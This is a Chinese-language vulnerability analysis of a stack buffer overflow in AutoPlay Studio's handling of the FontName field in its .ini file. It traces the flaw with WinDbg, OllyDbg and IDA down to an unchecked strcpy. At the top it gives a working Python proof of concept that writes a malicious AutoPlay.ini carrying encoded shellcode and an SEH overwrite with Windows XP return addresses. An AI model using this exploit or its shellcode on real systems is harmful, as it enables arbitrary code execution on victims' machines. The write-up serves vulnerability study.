AutoPlay远程代码执行漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载:
https://www.exploit-db.com/apps/6dea54a32a14690f2bb930e9a37ea9fb-autoplay.zip

PoC:

from struct import *
import time
f=open('AutoPlay.ini','w')
 
shell=('\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61'
'\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13'
'\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f'
'\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b'
'\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30'
'\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72'
'\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd'
'\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e'
'\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52'
'\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56'); 
 
head=('\x5b\x47\x65\x6e\x65\x72\x61\x6c\x5d\x0d\x0a\x54\x69\x74\x6c\x65'
'\x3d\x41\x20\x73\x61\x6d\x70\x6c\x65\x20\x6f\x66\x20\x77\x68\x61'
'\x74\x20\x41\x75\x74\x6f\x50\x6c\x61\x79\x20\x63\x61\x6e\x20\x64'
'\x6f\x21\x0d\x0a\x49\x63\x6f\x6e\x3d\x2e\x5c\x61\x75\x74\x6f\x70'
'\x6c\x61\x79\x2e\x69\x63\x6f\x0d\x0a\x53\x74\x61\x72\x74\x75\x70'
'\x53\x6f\x75\x6e\x64\x3d\x2e\x5c\x64\x72\x75\x6d\x72\x6f\x6c\x6c'
'\x2e\x77\x61\x76\x0d\x0a\x45\x78\x69\x74\x53\x6f\x75\x6e\x64\x3d'
'\x2e\x5c\x65\x78\x70\x6c\x6f\x64\x65\x2e\x77\x61\x76\x0d\x0a\x4e'
'\x75\x6d\x62\x65\x72\x4f\x66\x42\x75\x74\x74\x6f\x6e\x73\x3d\x37'
'\x0d\x0a\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x42\x69\x74\x6d'
'\x61\x70\x3d\x2e\x5c\x73\x70\x6c\x61\x73\x68\x2e\x6a\x70\x67\x0d'
'\x0a\x4e\x75\x6d\x62\x65\x72\x4f\x66\x43\x6f\x6d\x62\x6f\x73\x3d'
'\x31\x0d\x0a\x0d\x0a\x5b\x42\x75\x74\x74\x6f\x6e\x31\x5d\x0d\x0a'
'\x43\x6f\x6d\x6d\x61\x6e\x64\x54\x79\x70\x65\x3d\x31\x0d\x0a\x43'
'\x6f\x6d\x6d\x61\x6e\x64\x3d\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e'
'\x65\x78\x65\x0d\x0a\x46\x6c\x79\x62\x79\x53\x6f\x75\x6e\x64\x3d'
'\x2e\x5c\x68\x6f\x76\x65\x72\x73\x65\x6c\x2e\x77\x61\x76\x0d\x0a'
'\x4c\x65\x66\x74\x3d\x38\x33\x0d\x0a\x54\x6f\x70\x3d\x31\x33\x0d'
'\x0a\x54\x65\x78\x74\x43\x6f\x6c\x6f\x72\x3d\x32\x35\x35\x2c\x30'
'\x2c\x30\x0d\x0a\x48\x69\x67\x68\x6c\x69\x67\x68\x74\x43\x6f\x6c'
'\x6f\x72\x3d\x32\x35\x35\x2c\x32\x35\x35\x2c\x30\x0d\x0a\x43\x61'
'\x70\x74\x69\x6f\x6e\x3d\x52\x75\x6e\x20\x57\x69\x6e\x64\x6f\x77'
'\x73\x20\x45\x78\x70\x6c\x6f\x72\x65\x72\x0d\x0a\x46\x6f\x6e\x74'
'\x53\x69\x7a\x65\x3d\x32\x34\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d'
'\x65\x3d')
 
junk='\x41'*32
junk1='\x41'*92
nseh='\xeb\x06\x90\x90'
seh='\x62\xce\x86\x7c' # pop pop ret
esp='\x7b\x46\x86\x7c' # jmp esp
try:
f.write(head+junk+esp+junk1+nseh+seh+shell)
f.close()
print('File created')
except:
print('File cannot be created')

测试环境:
Windows xp sp3
IDA pro
Windbg

利用PoC生成一个.ini的配置文件,覆盖AutoPlay下的.ini文件,打开AutoPlay,触发漏洞。


漏洞复现


此漏洞是由于AutoPlay Studio在处理ini配置文件时,由于某函数对FontName长度没有检查,导致FontName进行拷贝时发生了缓冲区溢出,通过覆盖SEH指针,接管程序执行流程,从而控制程序,在这个漏洞中,我学习到了在回溯时遇到堆栈被严重破坏,无法回溯漏洞现场,通过阅读poc,结合od断点,从而正向推导出问题所在的一种新的方法,下面对此漏洞进行详细分析。

首先我们通过提供的exploit生成一个存在漏洞的AutoPlay.ini文件,这里我重新构造了一个新的poc,稍后会将pocsuite版本的poc提交,打开AutoPlay Studio文件,将poc拖入,程序崩溃,附加Windbg,打到漏洞现场。

(1b0.450): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=003b7808 ecx=0000000c edx=003baee0 esi=003bb440 edi=003bad80
eip=41414141 esp=0012f538 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???

可以看到此时程序已经到达41414141这个不可执行的位置,那么我们通过kb回溯一下堆栈调用

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f534 41414141 41414141 41414141 41414141 0x41414141
00000000 00000000 00000000 00000000 00000000 0x41414141

可以看到,此时堆栈调用已经完全被破坏,没法回溯到到达漏洞触发位置之前的情况,那么我们不能通过这种回溯方法定位到漏洞触发的位置,于是有了接下来的分析过程。


漏洞分析


我们重新打开AutoPlay.ini看看PoC中的代码部分

[General]
Title=A sample of what AutoPlay can do!
Icon=.\autoplay.ico
StartupSound=.\drumroll.wav
ExitSound=.\explode.wav
NumberOfButtons=7
BackgroundBitmap=.\splash.jpg
NumberOfCombos=1

[Button1]
CommandType=1
Command=explorer.exe
FlybySound=.\hoversel.wav
Left=83
Top=13
TextColor=255,0,0
HighlightColor=255,255,0
Caption=Run Windows Explorer
FontSize=24
FontName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

我们可以看到这个文件的FontName部分覆盖了我们构造的畸形字符串,那么在Auto Play Studio加载这个文件的时候,可能有获取路径的操作,之后,才能够打开文件,再读取其中的配置信息。

我们用OD重新加载AutoPlay Studio,我们通过查看模块间调用,发现了如下几个调用点。

第一处

找到的模块间的调用, 条目 375
地址=00404ABF
反汇编=call dword ptr ds:[<&MSVCRT._splitpath>]
目标文件=msvcrt._splitpath

第二处

找到的模块间的调用, 条目 376
地址=00404AE7
反汇编=call dword ptr ds:[<&MSVCRT._makepath>]
目标文件=msvcrt._makepath

第三处

找到的模块间的调用, 条目 399
地址=00404D3D
反汇编=call dword ptr ds:[<&KERNEL32.SetCurrentDirectoryA>]
目标文件=kernel32.SetCurrentDirectoryA

这三处call指令中,makepath,splitpath和SetCurrentDirectory都是MFC中对于路径操作常用的几个函数,那么我们有理由怀疑这三处调用可能会在执行ini配置前发生调用。

而这三处调用其实在整个exe的执行流程中非常多,我们需要通过在每条命令上设置断点来在此exe中所有的call函数中下断点,确保如果真的执行命中了这个断点位置可以中断,以此来复现漏洞发生的过程。

重新加载程序,F9运行,中间如果有中断全部跳过,之后我们将PoC载入,这时会发生中断。

004026D2   .  50            push eax                                                 ; |dir = 0012F5F4
004026D3   .  51            push ecx                                                 ; |drive = 0012F5B0
004026D4   .  57            push edi                                                 ; |path = "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
004026D5   .  FF15 54874100 call dword ptr ds:[<&MSVCRT._splitpath>]                 ; \_splitpath

查看一下目前栈里的情况

0012F588   0012FA5C  |path = "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"
0012F58C   0012F5B0  |drive = 0012F5B0
0012F590   0012F5F4  |dir = 0012F5F4
0012F594   00000000  |name = NULL
0012F598   00000000  \ext = NULL

可以看到确实获取到了配置文件的路径,那么004026D5就是目前第一个我们获取到的断点,接下来我们继续F9执行,程序又一次中断。

004026DB   .  6A 00         push 0x0                                                 ; /ext = NULL
004026DD   .  8D5424 70     lea edx,dword ptr ss:[esp+0x70]                          ; |
004026E1   .  6A 00         push 0x0                                                 ; |name = NULL
004026E3   .  8D4424 30     lea eax,dword ptr ss:[esp+0x30]                          ; |
004026E7   .  52            push edx                                                 ; |dir = "\Documents and Settings\Administrator\桌面\"
004026E8   .  8D8C24 7C0100>lea ecx,dword ptr ss:[esp+0x17C]                         ; |
004026EF   .  50            push eax                                                 ; |drive = "C:"
004026F0   .  51            push ecx                                                 ; |path = 0012F6F8
004026F1   .  FF15 50874100 call dword ptr ds:[<&MSVCRT._makepath>]                  ; \_makepath

我们继续查看一下栈中的情况

0012F574   0012F6F8  |path = 0012F6F8
0012F578   0012F5B0  |drive = "C:"
0012F57C   0012F5F4  |dir = "\Documents and Settings\Administrator\桌面\"
0012F580   00000000  |name = NULL
0012F584   00000000  \ext = NULL
0012F588   0012FA89  ASCII "AutoPlay.ini"
0012F58C   0012F5B0  ASCII "C:"
0012F590   0012F5F4  ASCII "\Documents and Settings\Administrator\桌面\"

可以看到之前的splitpath确实执行了,下一步是makepath,这些对路径的操作可以略过,因为这并不是漏洞触发的关键,但至少我们断住了,其实从现在开始我们单步跟踪,就一定能来到漏洞发生的位置,但其实不用,接下来,我们继续F9执行。

0040275C   > \51            push ecx                                                 ; /Path = "C:\Documents and Settings\Administrator\桌面"
0040275D   .  FF15 5C804100 call dword ptr ds:[<&KERNEL32.SetCurrentDirectoryA>]     ; \SetCurrentDirectoryA

程序再次中断,这时到达SetCurrentDirectory的位置,我们不再查看堆栈,因为这里仍然是对路径的操作,继续F9。

00401F3C  |.  50            push eax                                                 ; /lParam = 0x4010169
00401F3D  |.  6A 01         push 0x1                                                 ; |wParam = 0x1
00401F3F  |.  68 80000000   push 0x80                                                ; |Message = WM_SETICON
00401F44  |.  8B4E 20       mov ecx,dword ptr ds:[esi+0x20]                          ; |
00401F47  |.  51            push ecx                                                 ; |hWnd = 0x3B0120
00401F48  |.  FF15 18884100 call dword ptr ds:[<&USER32.SendMessageA>]               ; \SendMessageA

到达call SendMessageA的位置,这里查看一下栈中的情况。

0012F528   002A010A  |hWnd = 0x2A010A
0012F52C   00000080  |Message = WM_SETICON
0012F530   00000001  |wParam = 0x1
0012F534   01050207  \lParam = 0x1050207
0012F538   0012FA5C  ASCII "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"

可能和路径文件传递消息相关了,我们继续F9,直接到达了漏洞现场,那么我们可以在这一处中断后单步跟踪了。

重新启动程序,一路F9,到达SendMessageA的位置,开始单步跟踪,到达一处call调用。

00402107  |.  6A 00         |push 0x0
00402109  |.  56            |push esi
0040210A  |.  8BCF          |mov ecx,edi
0040210C  |.  C74424 64 FFF>|mov dword ptr ss:[esp+0x64],-0x1
00402114  |.  E8 27400000   |call APStudio.00406140

在这处调用时选择F8步过,我们发现直接到达了漏洞现场,那么可以确定漏洞位于00402114这里call调用函数的内层,重启程序,再次到达这个位置的时候,我们查看一下栈中的情况。

0012F530   003CB408
0012F534   00000000
0012F538   0012FA5C  ASCII "C:\Documents and Settings\Administrator\桌面\AutoPlay.ini"

这里可以看到传入参数,我们用ida查看一下00402114对应call函数的伪代码

int __thiscall sub_406140(void *this, int a2, int a3)

可以看到具体的指针调用,随后我们进入这个函数进行单步调试,先查看一下函数内部的代码情况。

00406140  /$  83EC 3C       sub esp,0x3C
00406143  |.  8B4424 40     mov eax,dword ptr ss:[esp+0x40]
00406147  |.  53            push ebx
00406148  |.  8BD9          mov ebx,ecx
0040614A  |.  56            push esi
0040614B  |.  57            push edi
0040614C  |.  50            push eax
0040614D  |.  8D4B 58       lea ecx,dword ptr ds:[ebx+0x58]
00406150  |.  E8 FB2A0000   call APStudio.00408C50
00406155  |.  8B4C24 50     mov ecx,dword ptr ss:[esp+0x50]
00406159  |.  33C0          xor eax,eax
0040615B  |.  898B DC000000 mov dword ptr ds:[ebx+0xDC],ecx
00406161  |.  B9 0F000000   mov ecx,0xF
00406166  |.  8D7C24 0C     lea edi,dword ptr ss:[esp+0xC]
0040616A  |.  8B93 9C000000 mov edx,dword ptr ds:[ebx+0x9C]
00406170  |.  F3:AB         rep stos dword ptr es:[edi]
00406172  |.  8BBB A0000000 mov edi,dword ptr ds:[ebx+0xA0]                          ;  APStudio.0041A0C8
00406178  |.  83C9 FF       or ecx,-0x1
0040617B  |.  895424 0C     mov dword ptr ss:[esp+0xC],edx                           ;  ntdll.KiFastSystemCallRet
0040617F  |.  8D5424 28     lea edx,dword ptr ss:[esp+0x28]
00406183  |.  F2:AE         repne scas byte ptr es:[edi]
00406185  |.  F7D1          not ecx
00406187  |.  2BF9          sub edi,ecx
00406189  |.  8BC1          mov eax,ecx
0040618B  |.  8BF7          mov esi,edi
0040618D  |.  8BFA          mov edi,edx                                              ;  ntdll.KiFastSystemCallRet
0040618F  |.  8B93 A4000000 mov edx,dword ptr ds:[ebx+0xA4]
00406195  |.  C1E9 02       shr ecx,0x2
00406198  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds:[esi]
0040619A  |.  8BC8          mov ecx,eax
0040619C  |.  83E1 03       and ecx,0x3
0040619F  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[esi]
004061A1  |.  8B8B A8000000 mov ecx,dword ptr ds:[ebx+0xA8]                          ;  APStudio.00418EB0
004061A7  |.  F7D9          neg ecx
004061A9  |.  1BC9          sbb ecx,ecx
004061AB  |.  33C0          xor eax,eax
004061AD  |.  81E1 2C010000 and ecx,0x12C
004061B3  |.  81C1 90010000 add ecx,0x190
004061B9  |.  3BD0          cmp edx,eax
004061BB  |.  894C24 1C     mov dword ptr ss:[esp+0x1C],ecx
004061BF  |.  B1 01         mov cl,0x1
004061C1  |.  74 04         je short APStudio.004061C7
004061C3  |.  884C24 20     mov byte ptr ss:[esp+0x20],cl
004061C7  |>  3983 AC000000 cmp dword ptr ds:[ebx+0xAC],eax
004061CD  |.  74 04         je short APStudio.004061D3
004061CF  |.  884C24 21     mov byte ptr ss:[esp+0x21],cl
004061D3  |>  8D5424 0C     lea edx,dword ptr ss:[esp+0xC]
004061D7  |.  884424 23     mov byte ptr ss:[esp+0x23],al
004061DB  |.  52            push edx                                                 ; /pLogfont = ntdll.KiFastSystemCallRet
004061DC  |.  884424 28     mov byte ptr ss:[esp+0x28],al                            ; |
004061E0  |.  884424 29     mov byte ptr ss:[esp+0x29],al                            ; |
004061E4  |.  884424 2A     mov byte ptr ss:[esp+0x2A],al                            ; |
004061E8  |.  884424 2B     mov byte ptr ss:[esp+0x2B],al                            ; |
004061EC  |.  FF15 34804100 call dword ptr ds:[<&GDI32.CreateFontIndirectA>]         ; \CreateFontIndirectA
004061F2  |.  50            push eax
004061F3  |.  8D4B 44       lea ecx,dword ptr ds:[ebx+0x44]
004061F6  |.  E8 9BE70000   call <jmp.&MFC42.#1641>
004061FB  |.  5F            pop edi                                                  ;  APStudio.00402119
004061FC  |.  5E            pop esi                                                  ;  APStudio.00402119
004061FD  |.  5B            pop ebx                                                  ;  APStudio.00402119
004061FE  |.  83C4 3C       add esp,0x3C
00406201  \.  C2 0800       retn 0x8

当我们执行到

00406172  |.  8BBB A0000000 mov edi,dword ptr ds:[ebx+0xA0]

可以看到edi的变化

ds:[003CB970]=00B70058, (ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
edi=00B70058, (ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

其实由这一步和上面几步可以推断,ebx可能是一个结构体指针,而它偏移+0xA0位置地址所存放的值就是FontName的部分,那么接下来有可能是对FontName的操作,在这之前的操作,是对指针的初始化和赋值。

接下来我们执行到

0040618B  |.  8BF7          mov esi,edi

这里将edi的地址交给esi,也就是此时畸形字符串已经传给esi了,接下来

0040618D  |.  8BFA          mov edi,edx  

这里将edx的地址交给edi,而此时edx的值是多少呢

EDX 0012F50C

正是栈中的一个位置,那么接下来

00406195  |.  C1E9 02       shr ecx,0x2
00406198  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds:[esi]
0040619A  |.  8BC8          mov ecx,eax

在00406198位置就是漏洞触发的关键点,这里对esi直接拷贝到edi,而没有进行长度检查,而此时的edi是栈中的一个地址,esi进行超长字符的拷贝,拷贝之后包括返回地址,SEH指针全部被畸形字符串覆盖。

0012F574   41414141
0012F578   41414141
0012F57C   41414141
0012F580   41414141
0012F584   41414141
0012F588   41414141
0012F58C   41414141  指向下一个 SEH 记录的指针
0012F590   41414141  SE处理程序
0012F594   41414141
0012F598   41414141

当程序返回后,由于地址无效会触发SEH异常函数处理,这里通过SEH指针的覆盖,可以达到控制程序执行任意代码的目的,接下来我们来看看这个函数的伪代码。

int __thiscall sub_406140(void *this, int a2, int a3)
{
  void *v3; // ebx@1
  LONG v4; // edx@1
  const char *v5; // edi@1
  int v6; // edx@1
  HFONT v8; // eax@5
  LOGFONTA lf; // [sp+Ch] [bp-3Ch]@1

  v3 = this;
  sub_408C50(a2);
  *((_DWORD *)v3 + 55) = a3;
  v4 = *((_DWORD *)v3 + 39);
  memset(&lf, 0, sizeof(lf));
  v5 = (const char *)*((_DWORD *)v3 + 40);
  lf.lfHeight = v4;
  strcpy(lf.lfFaceName, v5);
  v6 = *((_DWORD *)v3 + 41);
  lf.lfWeight = *((_DWORD *)v3 + 42) != 0 ? 700 : 400;
  if ( v6 )
    lf.lfItalic = 1;
  if ( *((_DWORD *)v3 + 43) )
    lf.lfUnderline = 1;
  lf.lfCharSet = 0;
  lf.lfOutPrecision = 0;
  lf.lfClipPrecision = 0;
  lf.lfQuality = 0;
  lf.lfPitchAndFamily = 0;
  v8 = CreateFontIndirectA(&lf);
  return CGdiObject__Attach((char *)v3 + 68, v8);
}

这里可以看到v3就是那个结构体指针,在v5处赋值会将畸形字符串拷入,这里并没有用sizeof(v5)进行if判断,而是直接strcpy,从而导致了漏洞发生。

Comments
Write a Comment